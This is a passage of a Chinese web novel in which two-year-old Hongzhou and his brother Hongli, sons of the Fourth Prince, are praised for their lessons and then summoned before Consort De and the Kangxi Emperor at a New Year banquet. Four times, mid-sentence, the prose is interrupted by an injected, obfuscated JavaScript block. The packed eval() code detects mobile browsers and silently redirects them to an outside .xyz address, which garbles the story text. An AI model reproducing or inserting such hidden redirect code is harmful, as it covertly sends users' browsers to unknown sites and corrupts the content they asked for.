玉池院和耿执羽的院子一样,都是少见四爷来的。如今大白天的在门口看见了这位主子爷,侍女自然吓了一大跳。 听见这个声音,耿执羽和钮祜禄格格一起扭头过来,随即面色一变,放下了手中的东西,站起来行礼。 弘历已经过两岁的生日了,知道自己看见阿玛是该行礼的,也跟着起身。但他毕竟年纪小,嬷嬷们还没有教过他男孩子是怎么行礼的,他便学着额娘的模样俯身。 这像模像样的行礼姿势把众人皆逗乐了,院中发出来一连串的声音。连弘昼都笑出了声。他虽然也没被教过,但却见过前院小厮行礼的,自然知道男子行礼不是这样的。 四爷从外面走来的疲惫似乎一下子消散了,看着两个可爱的孩子,思及他们方才琅琅书声,心情很是愉悦。 “起来吧。”心情好了,语调自然也温和了下来,四爷笑道,“听闻你们找福晋求了个先生来给弘历弘昼启蒙。” 郭络罗先生的脑袋低垂着,听闻此言耳朵微微动了一下,但依旧不敢抬头。 她并非这王府的奴才,而是外聘的。之前从未见过这位雍亲王,也拿不准这位是个什么脾性,只能降低自己的存在感。 “是呢,妾身们没什么见识,也没什么门路。”钮祜禄格格应道,“想让孩子们习几个字,但实在找不到好的人选,也就只能厚着脸去求了福晋。” “对呀对呀。”耿执羽见兮兰姐姐已经回完话了,便跟着点了点头。 “如今已经识得几个字了?”四爷的目光看向了弘昼,语带笑意,“弘昼年纪更小些,想来念书要更困难些。” “我会念书。”弘昼瘪了瘪嘴有些不服气。 四爷将目光放到了郭络罗先生身上,这打扮与诸位侍女不同的女子。面色白皙红润,虽然低着头但透着一股不卑不亢的气质,想来就是福晋找来的女先生了。 “两位阿哥皆十分聪慧,”郭络罗先生意识到这个问题是在问自己,低眉敛目答道:“这般幼童最难的是坐得住,难为两位阿哥小小年纪就能坐得住。念书的时候也愿意跟着一起念,日后必然能成大器。” 请了郭络罗先生来,耿执羽和钮祜禄格格也没有想要让两个小孩子现在就能同大人一样做学问。 只是想着半玩半学,学进去一点也不错。倘若一点也学不进去,便当聘了个先生来和他们玩便是了。 郭络罗先生过来教书的时候就已经给自己打了预防针,知道自己不能太过严厉,也做好了这两位小阿哥不听自己话的打算。 但过来了之后看着这两个方才两岁但能在椅子上坐得住的孩子,心里庆幸不少。 自己讲的东西让学生能听进去,也会有些成就感的。 四爷只当这位女先生是在客气,含着笑移开了视线。 钮祜禄格格将四爷迎了进来,命侍女快些去沏茶来。弘昼和弘历站在四爷面前,仰着小脑袋看着阿玛。 端起茶抿了一口后,四爷问道:“既是启蒙,都学了些什么?” “不过胡乱学了些《三字经》《声律启蒙》罢了。”耿执羽笑着说道。 “学了《三字经》,那会背了吗?”四爷看着两个孩子。 这个年纪的孩子,背书要比认字快些。记性好些的,先生念了几遍便能跟着一起背一两段了,但是要讲字和背的书对应上,却还要慢慢教。 “会,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990883|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弘历奶声奶气说道,“我和弟弟都会背了。” “会了些什么,背来阿玛听听。” 弘历马上一手拉着弘昼,另一只手背在身后,大声说道:“天对地,雨对风,人之初,性本善……” 这将《声律启蒙》和《三字经》背混了,一会儿香九龄,能温席,一会儿又三尺剑,六钧弓直听得人忍俊不禁。 四爷听了一会笑了出来,又看向了弘昼:“小五会不会背?” 钮祜禄格格仔细地观察着四爷的神色,见四爷脸上不仅没有不愉,反而充满了笑意才松了口气。 而耿执羽则一眨不眨地看着弘昼,嘴角扬起了一抹笑,她自然也知道自家孩子是会背的。 弘昼感受着从四面八方投过来的目光,把自己的手背在了身后:“人之初,性本善……窦燕山。” 念到这里的时候,弘昼就停住了,睁着一双大眼睛无辜地看着四爷。 这个倒是没有记混,四爷看着弘昼清澈的眼睛。只是比他四哥要背的东西少多了,看来只熟悉了《三字经》,不过也算聪慧了。 “好,”四爷微微俯身,先是在弘历的头上轻轻抚摸了一下,又揉了揉弘昼的脑袋:“学得不错,都有赏。” 站直身子后,四爷看向了耿执羽和钮祜禄格格:“能将孩子养得这般好,还知道敬重福晋,你们也有赏。” 耿执羽和钮祜禄格格连忙谢恩,四爷看着她们俩的目光中带上了满意之色。 看起来两个孩子养得不错,面色白皙红润,特别是弘昼脸上还有了肉,瞧着格外的可爱。如今瞧来,不仅身子养得不错,其他的也养得很好,瞧着耿氏和钮祜禄氏都是个好的。 又问了问两个儿子其余学的东西,四爷走的时候脸上笑意不断。 走后不到半个时辰,流水一般的赏赐就送到了这两个院子。让东侧院的李侧福晋咬碎了牙,从前这样的赏赐哪里轮得上两个区区的格格。 晚上,四爷去了年侧福晋的院子。 21. 第 21 章 第21章 年侧福晋素手纤纤正亲自给四爷泡茶,银白如玉的手,搭在同样白皙莹润的茶盏上,看上去便让人觉得赏心悦目。 见四爷喝了一口茶后,张嘴便称赞后院的两位格格将孩子养得好,年侧福晋面带笑意地听着,时不时搭上两句话,也是夸奖的好话。 这位爷这些时辰都宿在自己这里,年侧福晋自然不会为了她称赞后院格格的几句话便心中不愉。更何况,这些称赞也不是称赞格格本身,而是说她们会养孩子。 想到这,年侧福晋纤细的手,不自觉地抚了抚自己的腹部。自从进府,自己便一直是独宠,但这已经好几个月了,腹中一点儿信儿都没有,她虽然也觉得自己年岁还小,但看着额娘催促的信件,还是不免有些心焦。 额娘说了,年轻的时候颜色好,又能与爷的兴趣相投得宠是正常的。但总得为以后打算,日后若是失宠了,有个孩子才能在府中站稳。 可她也有自己的骄傲,她自幼饱读诗书,甚至能和四爷聊些外头发生的政事。也自信与雍亲王府中任何一个女子都不同,天下多数女子都能生孩子,但懂得朝堂风云的人不多。而她也与后院中的那些女子不一样,四爷从未这样宠幸过一个女子,她自然是和那些靠着生孩子才在四爷眼中有了一丝余地的人不同。 心里想着自己的打算,不免就有些忘了回四爷的话。 “清凝?”四爷疑惑地唤了一声。 年侧福晋这才回过神来,脸上扯出了一个清淡的微笑:“那日见了四阿哥五阿哥便知道这是极聪明的两个孩子,果不其然,这般年幼便能出口成章。若新春所出之竹,虽未破土而出但已能闻其声,想来日后必会光耀门楣。” “两位姐姐能教出这样好的孩子,日后妾身也要多和两位姐姐走动走动,盼着日后教自己孩子的时候也能如两位姐姐一样教出四阿哥五阿哥一般的孩子。” 说到这里的时候,年侧福晋低着头淡淡地笑了笑,似乎有些不好意思,耳后都红了一片。 四爷最喜欢她羞涩的模样,执起了她的手笑道:“咱们成婚还不满一年呢,孩子倒是不急。不过你若喜欢,确是能和钮祜禄氏还有耿氏走近些,她们素来知情识趣,想来也能侍奉好你。特别是钮祜禄氏,从前弘历生下来的时候本有些不足,但这一两年间生生被她养好了,如今瞧着极为康健,这也是她的功劳。” “既然爷这样说了,那我也得和两位姐姐亲近亲近了。”年侧福晋抿唇一笑,眼睛里仿佛闪着星星一般。 自那日后,年侧福晋在请安的时候对耿执羽和钮祜禄格格热情了些。这位本来是个有些清冷的美人,平素来请安的时候也不大与旁人闲谈。 这突如其来对这两位有孩子格格的示好,很快引起了福晋和李侧福晋的注意。若是这个在府中最得宠,家世又好的侧福晋和这两个有孩子的格格联合起来,那便不能小视了。 不过看了几日后,福晋便放下了这份心。 年侧福晋虽说对这两个格格热情了些,但也只是相较于其他人而言,其实走得也不算近。况且转念一想,年侧福晋年纪并不大,进府尚且不足半年,肯定是想要自己亲生的孩子的,必不可能这般年轻就将宝押到别人孩子的身上去。 至于李侧福晋,她没看出这一茬来,只顾着嘲讽耿执羽和钮祜禄格格腰软,见一个新进府的黄毛丫头得宠便迫不及待抱了上去。 很快便又是一年新年过了,弘昼也长到两岁了。 今年过年的时候,四爷将这两位有了孩子的格格份例提了两成,过年的封赏也提了两成。让耿执羽手头宽裕了不少,连接济娘家的银子都多给了十两。 弘昼穿上了府中绣娘新缝制的过年衣裳,染得红色的布料上有着寓意着吉祥如意的纹样。被嬷嬷抱着,跟着额娘来到了前院给四爷和福晋磕头请安。 这些府中的小主子平日里是不用来给福晋请安的,但特殊的年节还有福晋的生辰都是要过来的。毕竟按照礼法来说,福晋是他们的嫡母,也是应当要孝顺的。 此时弘历已经在给福晋请安说吉祥话了,接下来的便是弘昼。 “孩儿,给嫡额娘,请安。”弘昼被放到地上之后,学着昨日额娘教自己的样子跪下磕头,口中说道,“祝嫡额娘,新年安康。” 福晋坐在上首微笑着挥了挥手,马上温术就走上前来小心翼翼地扶起了弘昼,将一袋早就准备好的小黄鱼塞进了弘昼身旁嬷嬷的手中。 “好孩子,嫡额娘知道你的孝心,这些东西就拿回去玩罢。”福晋笑道,“难为这么点的孩子就已经会说吉祥话了,你们将孩子教得不错,也当赏。” 耿执羽连声说不敢,推托了好几句之后才收下。 年侧福晋坐在自己的椅子上打量着弘历和弘昼,这怎么看都是普通小孩的模样。不过学会了背几句诗词便被人夸到了天上去,哪里就那么聪明了。 想到这里,年侧福晋又看了一眼木讷地站在一旁的三阿哥。不过有这位的衬托,即便是普通的孩子也能衬得聪明至极了。 李侧福晋轻轻哼了一声,凭他们怎么在府中得宠,今年能进宫宴饮的还是弘时。这两个小的到底岁数还是小弘时太多,掀不起什么风浪来。 这两个小的也请过安了,福晋正准备叫她们退下了,她还要预备着进宫给德妃娘娘的年礼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990884|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进宫之前要都清点一遍,免得后面出了什么遗漏。 正在此时,外头传来了请安的声音,四爷大步流星地进来了。原本端坐在椅子上的众人都一起起身行礼,年侧福晋的眼中一下子就迸发出了神采,李侧福晋则满眼幽怨,四爷已经许久不曾来过她的院子了。 “起来吧,”四爷走到上首坐到了福晋的身旁,“今儿朝会的时候汗阿玛吩咐,叫我今晚将弘历和弘昼也带进宫给他老人家瞧瞧。” 听到这话,耿执羽下意识和钮祜禄格格对视了一眼,眼中具是充满了惊讶之色。皇上怎么会注意到这两个小孩子? 要知道皇上成年的儿子有十好几个,而这些皇子们生的孩子也不少。皇孙辈的,除却废太子的长子弘晳养在了皇上的身边,其余的皇孙大多数都是皇上叫不上名字来的。弘历和弘昼年岁这样小,又没有办过什么差事,皇上怎么会知道他们呢? “一般按规矩,皇孙在三岁前年岁太小了,可不入宫的。”福晋有些迟疑地问道,“为何这般突然点了弘历和弘昼的名?” 四爷和福晋虽说都是进宫,但去的地方可不一样。四爷要去太和殿,但福晋是要去永和宫同德妃请安的。 德妃那里不仅有住在永和宫的那些答应常在,还有十四和十三两家子的家眷。十三弟妹也就罢了,十四弟妹是个牙尖嘴利的,福晋已经能想象到今晚十四弟妹问这两个孩子的场景了。 “也不算突然,”四爷道,“弘历办抓周的时候汗阿玛便听闻过他们了,还问过我两回。但当时他们年纪太小,过年又是天寒地冻的,汗阿玛怜惜孩子便不叫抱进宫。但前几日不知怎的又想起来了,便在朝会后留了我说了一句。” 这话一出,李侧福晋宛如淬了毒一般的目光就看过来了。要知道弘时现在恐怕在皇上跟前连个名字都不知道,这两个小的竟然就能让皇上亲自点名了。 福晋脸上出现恍悟之色,点头笑道:“那妾身今日必然会照顾好两位小阿哥的。” 格格的身份太低,是不能在这样的日子进宫的。所以弘历和弘昼要进宫,就只能交给福晋或者两位侧福晋了。福晋毕竟是阿哥们的嫡母,自觉便揽过了这个差事。 “妾身也会帮着福晋照看两位阿哥的。”年侧福晋含笑说道。 府上不论是谁出风头,说出去都是雍亲王府的出风头,年侧福晋并不介意在这种场合帮一帮。 四爷满意地点了点头,又叮嘱了几句便起身离去了。 弘昼眨巴着迷茫的眼睛看向了旁边的四哥,他从前倒是去过紫禁城玩,不过那时候是买票进去的,里头也没有什么皇帝。 现在能看到真皇帝了耶! 22. 第 22 章 第22章 从福晋那里请安回来,耿执羽心中有些焦躁担忧,但同时又有些窃喜。 孩子这般年幼就已经入了皇上的耳朵,那日后说不得能有大前程。可弘昼如今不过两岁,自己的身份也不配进宫,今晚便只能指着福晋和两位侧福晋。李侧福晋是绝对指望不了的了,也不知道福晋和年侧福晋会不会好好看顾两个孩子。 想到这里,耿执羽的心宛如有蚂蚁在爬一般,那种滋味很难说出来是什么感觉。只觉得自己像打翻了五味瓶,什么味道都尝到了。 弘昼不大理解额娘为什么这个表情,歪了歪脑袋朝着耿执羽伸出了手:“额娘,抱抱。” 耿执羽回过神来将孩子抱起,用脸在弘昼的脸上贴了贴:“乖孩子,今儿跟着嫡额娘进宫一定要听话,不可无故哭闹。等到晚上回来,就能看到额娘了,一定不能在宫中哭闹。” 德妃娘娘对四爷并无偏私,这是阖府都知道的事情。耿执羽也怕弘昼若是在永和宫惹了德妃娘娘不悦,德妃自然不好和一个小孩子计较。到时会令福晋被斥责,福晋便会对弘昼生出不喜来。 感受到了额娘身上传来的担忧,弘昼原本的兴奋慢慢褪.去,表情郑重地点了点头:“我知道了,额娘,我会乖乖的。” 但毕竟弘昼年幼,耿执羽看着弘昼郑重应下一点没有因此而放松,只那小表情看着怪可爱的。又想了想平日里弘昼便不是个喜欢闹事的性子,才微微松了口气,马上便命人备好了等会儿要带进宫的东西。 要带的下人们都是有定数的,弘昼年幼进宫可以带上一位嬷嬷。耿执羽想着要先叮嘱郑嬷嬷几句,让郑嬷嬷到时候进宫了要机灵些。 等到了傍晚,福晋那边便有人前来寻五阿哥前去了。 这前来泗水院的人是福晋跟前的大丫鬟温术,进屋后温术先是毕恭毕敬行了一礼,脸上挂着恰到好处的笑:“福晋那边已经预备着进宫了,命奴婢前来看看五阿哥这里一应东西都备好了没有?阿哥进宫只能带一位嬷嬷,嬷嬷带着阿哥难免分身乏术,若是有五阿哥要用的东西让奴婢带着便是了。” 小孩子出门总是麻烦的,特别是像这样要出去大半天,要带的东西很多。幸而弘昼现在已经不用尿布了,不然要带的东西更多。 听到这话,耿执羽心下放松了一下,脸上马上便挂上了感恩戴德的笑:“多谢福晋惦记,这确实有些东西是要随着弘昼走的。劳烦温术姑娘跑这一趟了,娑鸣,去拿几吊钱来给温术姑娘去打碗酒来喝。” 娑鸣会意地上前将赏赐递了出去,温术并未推拒,依旧是带着笑将钱收下了。 郑嬷嬷已经抱着弘昼准备好了,弘昼身上的衣裳又换了一件。这件也是红的,料子是江南进贡而来,耿执羽本来是打算让弘昼大年初一穿的,但这要进宫了没办法只能先翻出来穿上了。 乖乖趴在郑嬷嬷的肩上,弘昼朝着额娘安抚般眨了眨眼,示意不用担心自己。 两岁已经能好好走路了,若是平日里弘昼肯定是要自己下来走不愿意让嬷嬷抱的。但今日这是特殊情况,只能任由嬷嬷抱着了。 耿执羽揪着帕子,去年过年的时候还会惦记福晋命下人准备的席面,以及来府中唱戏的戏班子和女先儿。今日早晨的时候本也是惦记的,但现在真是除却弘昼之外,心里一点别的东西都想不起来了。 弘昼被抱到了前院,发现四哥弘历已经在这里等着了,也是被他的奶嬷嬷张氏抱在怀中的。 见到弘昼过来了,弘历开心地咿咿呀呀冲着弘昼这边挥手,嘴里不时叫着:“弟弟弟弟。” 福晋已经穿戴好了,身上穿着的是和硕亲王福晋的吉服,脸上画着浓重的妆容,似乎已经看不清原本的眉目了,只能看见脸上那不变化的端庄笑意。 瞥见两个孩子已经抱过来了,福晋起身:“走吧。” 王府中只有福晋和侧福晋有资格在这样的日子入宫,年侧福晋和李侧福晋也早已经按照品级装扮好了。 到了宫中,女眷们去后宫,而四爷则带着弘时往太和殿而去。若是弘历和弘昼现在年岁大些,其实也应当跟着阿玛和三哥去太和殿,但年岁太小了怕跟着过去吵闹,只能被带去了永和宫。 进了宫的弘昼一直睁着大眼睛到处看,想要看出现在的紫禁城和几百年后的紫禁城的区别。 从前买了票进去参观紫禁城的时候,弘昼内心里不止吐槽过一次,皇家住的地方为什么看上去又小又破的。但这次看见的紫禁城,直接刷新了他从前对于紫禁城的印象。 这一处处雕梁画栋的宫殿,看上去威严庄重无比,没有现代看到的陈旧。里面的摆设也看上去精致无比,一见便知道价值不菲,多宝阁上满满当当的东西。和现代看上去甚至有些破旧的家具不同,德妃的永和宫之中的家具全然都是簇新的,甚至都看不到什么使用痕迹。 “臣媳参见额娘,祝额娘年年物侯新。”福晋进了永和宫之后脸上端庄的笑意就没有下来过,给德妃请安的时候姿态标准,动作优雅地奉上了她寻来的年礼。 福晋能出声祝福,但年侧福晋和李侧福晋就没有这个资格了,她们跟在福晋的身后乖巧地行礼,不发一声。 德妃穿着一身墨绿色的宫装,她今年已然四十上下了,但面容看着不过三十初的模样。脸上带着温和的笑意,面色白皙红润,一双星眸让人捉摸不定,看着福晋的眼神温和中带着淡漠。 其怀中正抱着一个四五岁的孩子,那孩子见到四福晋进来了也不曾起身,而是继续在德妃怀中玩着一个九连环。 “起来吧,难为你寻了那般难得的珍品。”德妃声音淡淡的,“听闻这次皇上让老四把那两个小的也带进宫了?” 福晋站起身,微微侧头示意了一下,弘昼和弘历的嬷嬷明了地上前行礼。 “回额娘的话,弘历和弘昼确也被带进来了。来,快叫玛姆。” 说话间两个孩子被放到了地上,弘昼仰着脑袋看着坐在上座的德妃,好奇地看了一眼德妃怀中的人,声音软软糯糯地叫了一声:“玛姆过年好。” 弘历则是只是喊了一声玛姆。 扫了一眼两个孩子,德妃牵出了一抹笑:“看着是两个灵秀的孩子,难为老四这么多年终于又得了两个孩子,你要记得在府中好好照看。” 福晋面上神色不变,似乎没有听出德妃话语中的其他意思,恭敬地应了一声。 李侧福晋低着的脑袋微微勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990885|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了一抹笑,早就知道德妃不喜欢福晋,每年跟着进来看福晋坐冷板凳也是她的娱乐项目之一。 十四福晋坐在德妃下首左边的第一个位置,似是有些好奇地笑道,“上回见这两个孩子还是抓周宴,这回瞧着可是长大了不少呢。不过额娘,四嫂还站着呢,您快让四嫂坐下呀,等会儿十三弟妹就要来请安了。” 德妃似乎才注意到福晋还站着,随意道:“你也坐下吧。” 弘昼重新被嬷嬷抱在了怀中,看着这一幕,看来嫡额娘在祖母这里不算受重视。倒是这位方才说话的女子,不知道是自己的婶婶还是姑姑,看着倒是和祖母要亲近多了。 坐下之后便开始闲话家常,十四福晋笑道:“哎呀,那日我们爷看了四嫂家中这两位小阿哥的抓周,回来便惊奇,说是这么小就知道兄友弟恭了,想来是四哥四嫂往日里教导的好。” 扫过四福晋身后嬷嬷抱着的两个孩子,十四福晋在心中冷笑了一声。凭着孩子出风头,怕不是早就在家中教了不知道多少遍的。看着这两个也不像聪明孩子,不过即便聪明,在额娘那里也是比不上我的弘明和弘暟的。 “对了弘历和弘昼还没见过你们弘暟哥哥吧,”十四福晋扭头看了眼德妃怀中的那个小男孩,对他招了招手,“弘暟快过来见过两位弟弟。” 弘暟听见额娘的叫声才不满地从九连环中抬起头来,瘪了瘪嘴站起身来到了自家额娘的身边,看了看那两个还被嬷嬷抱在怀中的孩子喊了声:“两位弟弟好。” 弘暟?弘昼听着这个名字,和自己是一个字辈的,应该是自己的堂兄? “快叫堂哥。”福晋笑着说道,“这是你们十四叔府上的弘暟堂哥,应当是要比你们大上四岁的。” “来,弘暟带着两个弟弟玩好不好?”十四福晋拉着自己儿子,有心想要在德妃的面前让自己儿子表现表现。 “往年都是弘暟年岁最小,今日老四府上来了两个年岁更小的,弘暟当哥哥了。”德妃看着弘暟慈爱地笑道,“再过一两年弘暟过年便不能到玛姆这里来,要跟着你阿玛去太和殿了。” 弘暟当即挺起了胸膛:“二哥说了我明年就能去太和殿了,明年起我就是大人了,以后要当大清的巴图鲁的。” 似乎被弘暟逗笑了,德妃当即笑出声:“好好好,我们弘暟以后是要当巴图鲁的。” 看来不止嫡额娘不受待见,自己和四哥也不见得多受这位玛姆的待见。弘昼有点疑惑,这位玛姆听说是阿玛的亲娘,为什么对自己和四哥倒是一点儿见不到慈爱呢? 可惜前世的弘昼对清朝的历史一点也不清楚,也就只是知道最出名的两位皇帝,那就是康乾盛世的康熙和乾隆,对于九龙夺嫡也只是听过一耳朵,甚至对里面的九龙都不清楚指的是谁。连康熙后面的皇帝是谁都不知道,自然更不知道自家的阿玛不受额娘待见这样的事情了。 正在此时,从外头走进来了一个小太监,进殿来就跪下行礼:“娘娘,皇上命人将雍亲王府的两位小阿哥抱去太和殿呢。” 弘暟震惊地扭头看了看这两个看上去不大的小不点,当即就哭嚎了出来:“额娘和阿玛骗我,他们这么小都能去太和殿,呜呜呜呜你们骗我……” 23. 第 23 章 第23章 福晋从进殿以来一直端庄的笑意终于有了变化,她站起身对着德妃歉意道:“额娘,您看这……” 十四福晋则冷冷地看了看弘历和弘昼,声音几乎是从牙缝中挤出来的:“四嫂真是好福气,这两个这般年岁的孩子就入了皇上的眼。” 四福晋亲生孩子弘晖前几年去了,弘晖故去后四福晋也并未生养过孩子。因着这件事十四福晋不止一回挤兑过这位四嫂,她早就看这个平素一直端着的四嫂不甚顺眼了。 雍亲王府中子嗣单薄也是众所皆知的,所以四福晋在永和宫中也一直直不起腰来。不论说什么,只要德妃或者十四福晋将话题转到子嗣方面,四福晋便要矮了一头。 这样的窘境在弘历和弘昼降生的那年才缓解了些,但两个小孩子毕竟还没有长大,谁都不知道日后能不能养活,这也让四福晋依旧谨小慎微。但今年就不一样了,两个孩子已经两岁了,看着也是健健康康的模样,而且在皇上的那里也有了些小名声,这让四福晋不复以往的窘迫。 德妃在上首轻轻咳嗽了一声:“既然皇上命人来抱过去,那就让他们过去吧。只是太和殿可不比永和宫,一定要知道规矩。” “我也要去,”弘暟在十四福晋的身前扭来扭去,“额娘我也要去,这两个小屁孩都能去,那我也能去。” 十四福晋方才听到是皇上命人来叫,脸色本来就已经不好了,偏偏这个小儿子还一直在自己跟前叫唤。她似乎都能感受到四嫂投过来嘲笑的目光,这让她倍感羞愤。 看到弘历和弘昼的嬷嬷已经将这两个小的抱出去后,十四福晋看着还在闹的儿子忍不住一巴掌拍在了弘暟的身上:“今儿是什么日子,也是你能闹的?快些起来。” 这一下可不得了,弘暟身为十四贝勒府中的幼子,自幼起不论是额娘还是阿玛都是对他千依百顺的,进宫了之后德妃这个玛姆对他也一直宠溺有加。自小就一直被人哄着捧着,连大声些的话都不曾在他耳边说,更别提像这样挨打了。 原本雷声大雨点小,虽然在哭嚎但一滴泪都没落下来的弘暟变成了真哭,眼睛鼻子都哭红了,一边哭还一边控诉:“你打我,你竟然打我,我要回去告诉阿玛。呜呜呜呜呜,玛姆,额娘打我……” 德妃的眼眸沉了下来,看着十四福晋的眼神中带着不满。不过这么一点小事就能直接在宫中闹起来,看来这也是个不会教孩子的。 况且孩子闹也就罢了,她的身份如何能在永和宫中做出这样不合身分的事情。 “哎呀,”福晋掩唇说道,“这要和孩子慢慢说的,十四弟妹怎么能打孩子呢。弘暟不过是年岁小不懂事,乖啊别闹了,你明年就能去太和殿了。” 十四福晋方才是气急了才打了那一下,打完了自己也意识到不对。若是在十四贝勒府中,她别说是打一下,就是拿着板子打上十几下也是没什么要紧的。但在永和宫就是不能这样,在宫中这般怕是今日之事流传出去自己的名声要不好了。 当即勉强扯出了一抹笑:“这毕竟是在宫中,臣媳是怕弘暟吵闹扰了额娘的清静这才气急了。弘暟乖啊,不要闹了,明年你就要去太和殿跟着三个哥哥一起了。” “弘暟到玛姆这里来。”德妃没有理会十四福晋的解释,而是和颜悦色地对着弘暟招了招手。 弘暟抽抽噎噎走到了德妃身边,被德妃一把抱进了怀中,温言细语地哄了好几句。又命旁边的宫女取来了给弘暟备好的玩具过来给他,这才让弘暟不闹了。 福晋看着这一幕,自己喝了口茶,嘴角的笑意越发明晰。 这么多年过年都要来永和宫,唯有今年算过得不错了。 弘昼和弘历被各自的嬷嬷抱着,跟着前面走的小太监。 郑嬷嬷心中有点慌,她虽然是内务府出去的,但从未见过皇上,更别提在今日这样的日子去太和殿那种地方了。 相较而言,抱着弘历的张嬷嬷就淡定多了。 皇上叫人来了,四爷也派了人过来。只要跟着四爷的人便是了,不自做主张的话应该也不会有什么事。 “弟弟,”弘历趴在张嬷嬷的肩头上,扁了扁嘴,“咱们要去哪里啊?” 小太监与德妃禀报的事情,弘历是一个字也没听进去。他只知道额娘叫自己一定要跟着嫡额娘,可是现在嫡额娘让人把自己抱走了。 “去找阿玛。”弘昼和弘历是一样的姿势,趴在了郑嬷嬷的肩头上,这个姿势是被抱起来的时候最舒服的,还能看看后面的风景。 从永和宫而来,弘昼看着一个个匆忙的身影。今日除夕,各个宫里都是忙着的,现在下午的时候几乎每个宫殿都来了人,所以这些宫女太监们也都忙了起来。 不多时便走到了太和殿,弘昼被抱进大殿的时候左右看了一下。这里比起永和宫可要大多了,而且人也很多,从最高处皇上的位置到下面,一个个都是按照身份坐的。 弘昼也感受到了不少人的注视,直到进到大殿里面才看到了自家阿玛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990886|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>四爷身为雍亲王,座次自然不低。他今日的心情似乎不错,唇边蔓延了一丝笑意,看到两个儿子被抱着进来的时候更是眼眸都带上了笑。 行过礼后,两位嬷嬷将孩子放到了地上。 弘昼抬头,脑袋仰得高高的才看到上面的位置上坐着一位五六十岁的老人。这位老人发须斑白,前面摆放着一张极大的案几,上面摆满了珍馐美味。 这个位置看不清老人的面容,但弘昼感受到了一道压迫力极强的注视,是来自上首的打量。 康熙看着下面的两个小崽子,一个倒是没有抬头,而是朝着他阿玛的地方望过去。另一个应当是年纪太小了,还没学过面圣的规矩,竟然仰着头反倒打量着自己。 这般没有规矩,若是个大些的孩子康熙便要不喜了。连规矩都学不好,那日后不论是念书还是办差想来都不好。但才两岁的孩子,康熙也没有那般苛责。特别是在这几年,康熙更为偏爱这样尚且不懂事纯然天真的孩子。 四爷从座位上起来,来到了两个孩子身边,轻声哄道:“这是你们皇玛法,快给皇玛法请安,在家中的时候教过你们的。” 这还是今日教的,弘昼记得额娘在自己进宫前的紧急培训。 “孙儿见过皇玛法。” 很显然,弘历也被教过。方才是没有人提他们也要行礼,现在一提起来两个三头身的小孩子一起行礼,因着太小了动作还做不标准。 康熙朗声笑道:“起来吧,这就是你家中那两个在抓周宴上大出了风头的弘历和弘昼。瞧着果然是个灵秀的孩子,你们今年都多大了?” 耿执羽和钮祜禄格格养孩子的时候都是想着将孩子养大胆些的,平日里都不拘着两个孩子。加上府上最大的四爷和福晋见到两个孩子的时候都是和颜悦色的,也导致弘昼和弘历的胆子很大,至少是不害怕这位和自己说话的皇玛法的。 九爷看着康熙和颜悦色询问老四孩子的一幕,酸得多喝了一杯酒。他不大受宠,连同他的孩子在老爷子这里也排不到号,老爷子恐怕连他的长子都记不清名字,竟然就能记得四哥的两个幼子的。 弘历一只手背着,另一只手牵着弘昼大声说道:“我和弟弟今年都是两岁了,但额娘说了过了年我们就三岁了。” 听着四哥已经回了话,弘昼便在一旁点了点头,似乎很是赞同的模样。 看着两个孩子不怯场的模样,还有牵着手的样子康熙心中更是添了两分喜欢,笑道:“你们上前来给皇玛法瞧瞧。” 24. 第 24 章 第24章 听见这话,弘昼和弘历下意识看向了四爷。 虽说平日里在府中见四爷的次数也不算特别多,但在如今这个大殿之中,四爷是除却奶娘之外他们最熟悉的人了。 四爷脸上的笑意越发明显,对着弘历和弘昼轻轻拍了拍头说道:“上去叫你们皇玛法瞧瞧。” 阿玛都开口了,弘历和弘昼自然乖乖听从。他们先是互相看了对方一眼,随后朝着高高在上的那个位置走了过去。 登上一步步台阶后,康熙的容貌逐渐映入了弘昼的眼中。若抛去他周身的气质,这看着像是一位很慈祥的老人。面带微笑地看着自己,脸上有几点零星的麻子,露在外面的手腕上已经能看到老人斑的存在了。 走到康熙面前桌子的位置,弘昼就犹豫着是不是该停下来了,但见四哥还在走也就跟着走到了康熙的身前。 